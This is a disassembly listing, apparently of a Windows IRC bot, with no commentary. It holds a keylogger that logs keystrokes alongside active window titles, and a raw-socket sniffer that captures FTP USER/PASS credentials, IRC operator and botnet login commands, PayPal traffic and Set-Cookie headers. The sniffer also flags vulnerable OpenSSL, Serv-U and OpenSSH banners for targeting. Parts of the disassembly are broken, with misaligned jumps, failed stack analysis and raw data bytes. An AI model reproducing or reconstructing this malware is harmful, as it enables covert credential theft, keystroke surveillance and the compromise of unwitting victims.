		lea	eax, [ebp-778h]
		push	eax
		call	sub_4161A7
		inc	ds:dword_4E1D34
		pop	ecx
		jmp	short loc_412F2B
; ---------------------------------------------------------------------------


loc_412F15:				; CODE XREF: seg000:00412D4Dj
					; seg000:00412E22j
		push	dword ptr [ebp-0Ch]
		lea	eax, [ebp-3Ch]
		push	eax
		push	ebx
		push	9
		push	offset dword_44B04C
		push	esi
		call	ds:dword_451554


loc_412F2B:				; CODE XREF: seg000:00412CECj
					; seg000:00412E16j ...
		cmp	[ebp-8], ebx
		jg	loc_412C93
		mov	edi, [ebp+8]


loc_412F37:				; CODE XREF: seg000:00412C9Cj
		push	esi
		call	ds:dword_451588
		push	dword ptr [ebp-4]
		call	sub_41ACF0
		dec	dword ptr [ebp-164h]


loc_412F4C:				; DATA XREF: seg002:off_44F978o
					; seg002:off_44F97Co
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_412F68
		push	dword ptr [ebp-168h]
		call	sub_40905B
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		aaa


loc_412F68:				; CODE XREF: seg000:00412F53j
		push	3E8h
		call	ds:dword_4F12F4	; Sleep
		push	edi


loc_412F74:				; CODE XREF: seg000:00412C10j
		call	loc_412AD0
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412F80	proc near		; CODE XREF: sub_413061+B4p
					; sub_413061+253p

var_1137B	= byte ptr -1137Bh
var_314		= byte ptr -314h
var_114		= byte ptr -114h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= byte ptr  14h
arg_8C		= dword	ptr  94h
arg_90		= dword	ptr  98h

		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	ds:dword_4F13C8	; GetLocalTime
		lea	eax, [ebp+var_114]
		push	104h
		push	eax
		call	near ptr 3D0000h
		test	[ebp+var_1137B], 0FFh
		push	offset dword_44B7C4
		push	eax
		call	sub_41E560
		lea	eax, [ebp+var_114]
		push	offset dword_43CCCC
		push	eax
		call	sub_41E560
		lea	eax, [ebp+var_114]
		push	offset dword_44B7C8
		push	eax
		call	sub_41D0E0
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_412FE7
		push	1
		pop	eax
		jmp	short loc_41305E
; ---------------------------------------------------------------------------


loc_412FE7:				; CODE XREF: sub_412F80+60j
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41E440
		push	esi
		call	sub_41ACF0
		add	esp, 28h
		cmp	[ebp+arg_90], 0
		jnz	short loc_41305C
		push	[ebp+arg_0]
		lea	eax, [ebp+var_314]
		push	offset dword_44B7E8
		push	200h
		push	eax
		call	sub_41D360
		push	0
		lea	eax, [ebp+var_314]
		push	[ebp+arg_8C]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40145D
		add	esp, 24h


loc_41305C:				; CODE XREF: sub_412F80+A3j
		xor	eax, eax


loc_41305E:				; CODE XREF: sub_412F80+65j
		pop	esi
		leave
		retn
sub_412F80	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413061	proc near		; DATA XREF: seg000:00404983o

var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_4DC		= byte ptr -4DCh
var_2DD		= byte ptr -2DDh
var_2DC		= byte ptr -2DCh
var_DC		= byte ptr -0DCh
var_D8		= dword	ptr -0D8h
var_48		= byte ptr -48h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8DCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_8DC], 0
		push	25h
		and	[ebp+var_4], 0
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_DC]
		rep movsd
		mov	dword ptr [eax+90h], 1
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp+var_8D8]
		rep stosd
		call	ds:dword_451478
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_451490
		mov	ebx, 200h


loc_4130BC:				; CODE XREF: sub_413061+2C7j
		push	8
		call	ds:dword_4F12F4	; Sleep
		call	ds:dword_451478
		cmp	eax, [ebp+var_8]
		jz	short loc_413144
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		mov	[ebp+var_8], eax
		call	ds:dword_451490
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		lea	eax, [ebp+var_4DC]
		push	offset aSChangedWindow ; "%s (Changed Windows: %s)"
		push	eax
		call	sub_41D260
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_412F80
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch


loc_413144:				; CODE XREF: sub_413061+6Cj
		mov	[ebp+arg_0], offset dword_44B05C


loc_41314B:				; CODE XREF: sub_413061+2BDj
		push	10h
		call	ds:dword_4513CC
		movsx	esi, ax
		mov	eax, [ebp+arg_0]
		mov	edi, [eax-4]
		push	edi
		call	ds:dword_4514C0
		test	ah, 80h
		jz	short loc_4131E3
		push	14h
		call	ds:dword_4513CC
		test	ax, ax
		jz	short loc_413194
		cmp	esi, 0FFFFFFFFh
		jle	short loc_413194
		cmp	edi, 40h
		jle	short loc_413194
		cmp	edi, 5Bh
		jge	short loc_413194
		mov	[ebp+edi*4+var_8DC], 1
		jmp	loc_413313
; ---------------------------------------------------------------------------


loc_413194:				; CODE XREF: sub_413061+112j
					; sub_413061+117j ...
		push	14h
		call	ds:dword_4513CC
		test	ax, ax
		jz	short loc_4131BF
		test	esi, esi
		jge	short loc_4131D3
		cmp	edi, 40h
		jle	short loc_4131BF
		cmp	edi, 5Bh
		jge	short loc_4131BF
		mov	[ebp+edi*4+var_8DC], 2
		jmp	loc_413313
; ---------------------------------------------------------------------------


loc_4131BF:				; CODE XREF: sub_413061+13Ej
					; sub_413061+147j ...
		test	esi, esi
		jge	short loc_4131D3
		mov	[ebp+edi*4+var_8DC], 3
		jmp	loc_413313
; ---------------------------------------------------------------------------


loc_4131D3:				; CODE XREF: sub_413061+142j
					; sub_413061+160j
		mov	[ebp+edi*4+var_8DC], 4
		jmp	loc_413313
; ---------------------------------------------------------------------------


loc_4131E3:				; CODE XREF: sub_413061+105j
		mov	esi, [ebp+edi*4+var_8DC]
		lea	eax, [ebp+edi*4+var_8DC]
		test	esi, esi
		jz	loc_413313
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_2DC]
		cmp	edi, 8
		push	eax
		jnz	short loc_41321B
		call	sub_41AC70
		and	[ebp+eax+var_2DD], 0
		pop	ecx
		jmp	loc_413313
; ---------------------------------------------------------------------------


loc_41321B:				; CODE XREF: sub_413061+1A5j
		call	sub_41AC70
		cmp	eax, 1B9h
		pop	ecx
		jbe	short loc_41324D
		call	ds:dword_451478
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_451490
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_41328E
; ---------------------------------------------------------------------------


loc_41324D:				; CODE XREF: sub_413061+1C5j
		cmp	edi, 0Dh
		jnz	loc_4132E5
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41AC70
		test	eax, eax
		pop	ecx
		jz	loc_413313
		call	ds:dword_451478
		lea	ecx, [ebp+var_48]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_451490
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_41328E:				; CODE XREF: sub_413061+1EAj
		lea	eax, [ebp+var_4DC]
		push	eax
		call	sub_41D260
		sub	esp, 84h
		lea	esi, [ebp+var_DC]
		lea	eax, [ebp+var_4DC]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_412F80
		mov	[ebp+var_4], eax
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0A4h
		lea	eax, [ebp+var_4DC]
		push	ebx
		push	0
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		jmp	short loc_413313
; ---------------------------------------------------------------------------


loc_4132E5:				; CODE XREF: sub_413061+1EFj
		cmp	esi, 1
		jz	short loc_4132FE
		cmp	esi, 3
		jz	short loc_4132FE
		cmp	esi, 2
		jz	short loc_4132F9
		cmp	esi, 4
		jnz	short loc_413313


loc_4132F9:				; CODE XREF: sub_413061+291j
		push	[ebp+arg_0]
		jmp	short loc_413305
; ---------------------------------------------------------------------------


loc_4132FE:				; CODE XREF: sub_413061+287j
					; sub_413061+28Cj
		mov	eax, [ebp+arg_0]
		add	eax, 7
		push	eax


loc_413305:				; CODE XREF: sub_413061+29Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_41E560
		pop	ecx
		pop	ecx


loc_413313:				; CODE XREF: sub_413061+12Ej
					; sub_413061+159j ...
		add	[ebp+arg_0], 14h
		cmp	[ebp+arg_0], offset dword_44B78C
		jl	loc_41314B
		cmp	[ebp+var_4], 0
		jz	loc_4130BC
		push	[ebp+var_D8]
		call	sub_40905B
		pop	ecx
		push	0
		call	near ptr 3D0000h
		sbb	eax, 424448Bh	; CODE XREF: seg000:00413864p
					; seg000:0041388Ap
sub_413061	endp ; sp-analysis failed

		mov	ds:dword_4E2674, eax
		mov	eax, offset dword_4E2674
		retn

; =============== S U B	R O U T	I N E =======================================



sub_413351	proc near		; CODE XREF: seg000:00413910p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41336B


loc_413367:				; CODE XREF: sub_413351+29j
					; sub_413351+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41336B:				; CODE XREF: sub_413351+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413367
		push	offset aPsniff	; "[PSNIFF]:"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413367
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413367
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4133B3


loc_4133AF:				; CODE XREF: sub_413351+71j
					; sub_413351+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4133B3:				; CODE XREF: sub_413351+5Cj
		push	offset a302	; "302 "
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133AF
		push	offset a366	; "366 "
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133AF
		push	offset a_login	; ":.login"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133AF
		push	offset aLogin	; ":!login"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133AF
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133AF
		push	offset a_login_0 ; ":.Login"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133AF
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4133AF
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4133AF
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4133AF
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413351	endp


; =============== S U B	R O U T	I N E =======================================



sub_413468	proc near		; CODE XREF: seg000:00413949p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413482


loc_41347E:				; CODE XREF: sub_413468+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413482:				; CODE XREF: sub_413468+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41347E
		push	offset aOper	; "OPER	"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4134A8


loc_4134A4:				; CODE XREF: sub_413468+4Fj
					; sub_413468+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4134A8:				; CODE XREF: sub_413468+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4134A4
		push	offset aOper_0	; "oper	"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4134A4
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413468	endp


; =============== S U B	R O U T	I N E =======================================



sub_4134DE	proc near		; CODE XREF: seg000:0041397Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4134F8


loc_4134F4:				; CODE XREF: sub_4134DE+29j
					; sub_4134DE+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4134F8:				; CODE XREF: sub_4134DE+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4134F4
		push	offset aNick_2	; "NICK	"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4134F4
		push	offset a220	; "220 "
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41352F


loc_41352B:				; CODE XREF: sub_4134DE+60j
					; sub_4134DE+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41352F:				; CODE XREF: sub_4134DE+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41352B
		push	offset aUser_2	; "USER	"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41352B
		push	offset aPass_0	; "PASS	"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4134DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_413565	proc near		; CODE XREF: seg000:004139B0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41357F


loc_41357B:				; CODE XREF: sub_413565+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41357F:				; CODE XREF: sub_413565+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41357B
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4135A5


loc_4135A1:				; CODE XREF: sub_413565+4Fj
					; sub_413565+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4135A5:				; CODE XREF: sub_413565+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4135A1
		push	offset aPaypal_com ; "PAYPAL.COM"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4135A1
		push	offset aPaypal_com_0 ; "paypal.com"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4135A1
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_413565	endp


; =============== S U B	R O U T	I N E =======================================



sub_4135EC	proc near		; CODE XREF: seg000:loc_413A16p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_413606


loc_413602:				; CODE XREF: sub_4135EC+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_413606:				; CODE XREF: sub_4135EC+14j
		push	offset aMss2	; "#mss2"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413602
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41362C


loc_413628:				; CODE XREF: sub_4135EC+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41362C:				; CODE XREF: sub_4135EC+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413628
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41DBE0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4135EC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41DEB0
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0B8h]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp-3B7h]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp-3B8h], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp-3B8h]
		mov	word ptr [ebp-20h], 2
		push	eax
		mov	[ebp-1Eh], bx
		mov	[ebp-1Ch], ebx
		call	ds:dword_451508
		lea	eax, [ebp-3B8h]
		push	eax
		call	ds:dword_451574
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp-8]
		push	eax
		call	sub_41E840
		mov	eax, [ebp-8]
		add	esp, 0Ch
		mov	[ebp-1Ch], eax
		push	ebx
		push	3
		push	2
		call	ds:dword_451570
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short loc_4136F7
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_4136F7:				; CODE XREF: seg000:004136ECj
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_451520
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_41376C+1
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset dword_44B9D0
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_413749
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_40145D
		add	esp, 14h


loc_413749:				; CODE XREF: seg000:00413727j
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4161A7
		pop	ecx
		push	edi
		call	ds:dword_451588
		push	dword ptr [ebp-34h]
		call	sub_40905B
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_41376C:				; CODE XREF: seg000:00413707j
		rcpps	xmm1, oword ptr	[ebp+5053DC45h]
		push	ebx
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp-0Ch], esi
		call	ds:dword_4514A0
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4137F2+1
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset dword_44BA18
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_4137CF
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_40145D
		add	esp, 14h


loc_4137CF:				; CODE XREF: seg000:004137ADj
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4161A7
		pop	ecx
		push	edi
		call	ds:dword_451588
		push	dword ptr [ebp-34h]
		call	sub_40905B
		pop	ecx
		push	ebx
		call	near ptr 3D0000h


loc_4137F2:				; CODE XREF: seg000:0041378Dj
		test	[esi+200h], bh


loc_4137F8:				; CODE XREF: seg000:00413827j
					; seg000:0041384Cj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp-113B8h]
		push	edi
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-113B8h]
		push	ebx
		push	edi
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_45150C
		cmp	byte ptr [ebp-113AFh], 6
		jnz	short loc_4137F8
		push	dword ptr [ebp-113A4h]
		mov	edi, ds:dword_4F14AC
		call	edi ; dword_4F14AC
		push	dword ptr [ebp-113A2h]
		movzx	eax, ax
		mov	[ebp+8], eax
		call	edi ; dword_4F14AC
		cmp	dword ptr [ebp+8], 6Eh
		movzx	edi, ax
		jz	short loc_4137F8
		cmp	dword ptr [ebp+8], 19h
		jz	short loc_4137F8
		cmp	edi, 6Eh
		jz	short loc_4137F8
		cmp	edi, 19h
		jz	short loc_4137F8
		push	dword ptr [ebp-113ACh]
		call	near ptr loc_413341+1
		pop	ecx
		push	dword ptr [eax]
		call	ds:dword_4F14B0	; inet_ntoa
		push	eax
		lea	eax, [ebp-13B8h]
		push	offset dword_44BA64
		push	eax
		call	sub_41D260
		push	dword ptr [ebp-113A8h]
		call	near ptr loc_413341+1
		add	esp, 10h
		push	dword ptr [eax]
		call	ds:dword_4F14B0	; inet_ntoa
		push	eax
		lea	eax, [ebp-0BB8h]
		push	offset dword_44BA68
		push	eax
		call	sub_41D260
		lea	eax, [ebp-1138Ch]
		mov	[ebp-4], ebx
		push	eax
		call	sub_41AC70
		add	esp, 10h
		test	eax, eax
		jle	short loc_4138F6


loc_4138C2:				; CODE XREF: seg000:004138F4j
		mov	eax, [ebp-4]
		cmp	byte ptr [ebp+eax-1138Ch], 0Dh
		lea	eax, [ebp+eax-1138Ch]
		jnz	short loc_4138D9
		mov	byte ptr [eax],	20h


loc_4138D9:				; CODE XREF: seg000:004138D4j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4138E1
		mov	byte ptr [eax],	20h


loc_4138E1:				; CODE XREF: seg000:004138DCj
		inc	dword ptr [ebp-4]
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_41AC70
		cmp	[ebp-4], eax
		pop	ecx
		jl	short loc_4138C2


loc_4138F6:				; CODE XREF: seg000:004138C0j
		cmp	dword ptr [ebp+8], 50h
		jz	loc_4139A9
		cmp	edi, 50h
		jz	loc_4139A9
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_413351
		test	al, al
		pop	ecx
		jz	short loc_41393D
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_44BA6C
		jmp	loc_4139D8
; ---------------------------------------------------------------------------


loc_41393D:				; CODE XREF: seg000:00413918j
		cmp	edi, 50h
		jz	short loc_4139A9
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_413468
		test	al, al
		pop	ecx
		jz	short loc_413973
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_44BABC
		jmp	short loc_4139D8
; ---------------------------------------------------------------------------


loc_413973:				; CODE XREF: seg000:00413951j
		cmp	edi, 50h
		jz	short loc_4139A9
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_4134DE
		test	al, al
		pop	ecx
		jz	short loc_4139A9
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_44BB0C
		jmp	short loc_4139D8
; ---------------------------------------------------------------------------


loc_4139A9:				; CODE XREF: seg000:004138FAj
					; seg000:00413903j ...
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_413565
		test	al, al
		pop	ecx
		lea	eax, [ebp-1138Ch]
		push	eax
		jz	short loc_413A16
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp+8]
		push	eax
		push	offset unk_44BB5C


loc_4139D8:				; CODE XREF: seg000:00413938j
					; seg000:00413971j ...
		lea	eax, [ebp-2B8h]
		push	esi
		push	eax
		call	sub_41D360
		add	esp, 20h
		cmp	[ebp-2Ch], ebx
		jnz	loc_4137F8
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_40145D
		add	esp, 14h
		jmp	loc_4137F8
; ---------------------------------------------------------------------------


loc_413A16:				; CODE XREF: seg000:004139BFj
		call	sub_4135EC
		test	al, al
		pop	ecx
		jz	loc_4137F8
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		lea	eax, [ebp-13B8h]
		push	eax
		push	offset unk_44BBAC
		jmp	short loc_4139D8
; ---------------------------------------------------------------------------
dword_413A44	dd 81EC8B55h, 494ECh, 8458B00h,	0A5B95756h, 8B000000h
					; DATA XREF: seg000:00406410o
		dd 6CBD8DF0h, 0F3FFFFFDh, 9080C7A5h, 1000002h, 0FF000000h
		dd 4F134015h, 19E85000h, 8D0000A1h, 0FFFE7485h,	858D50FFh
		dd 0FFFFFF74h, 0F4858D50h, 50FFFFFDh, 0FD74858Dh, 0E850FFFFh
		dd 395h, 6C858D50h, 68FFFFFBh, 44BBFCh,	97B6E850h, 0F6330000h
		dd 3920C483h, 2075F875h, 6C858D56h, 0FFFFFFFBh,	8D50F475h
		dd 0FFFEF485h, 0B5FF50FFh, 0FFFFFD6Ch, 0FED98CE8h, 14C483FFh
		dd 0FB6C858Dh, 0E850FFFFh, 26C7h, 0FD70B5FFh, 70E8FFFFh
		dd 59FFFF55h, 0DE85659h, 84FFFBC5h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi


loc_413AF6:				; CODE XREF: seg000:00413E6Dp
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_451464
		test	eax, eax
		jz	short loc_413B36
		xor	eax, eax
		jmp	loc_413E29
; ---------------------------------------------------------------------------


loc_413B36:				; CODE XREF: seg000:00413B2Dj
		push	1
		pop	edi
		push	edi
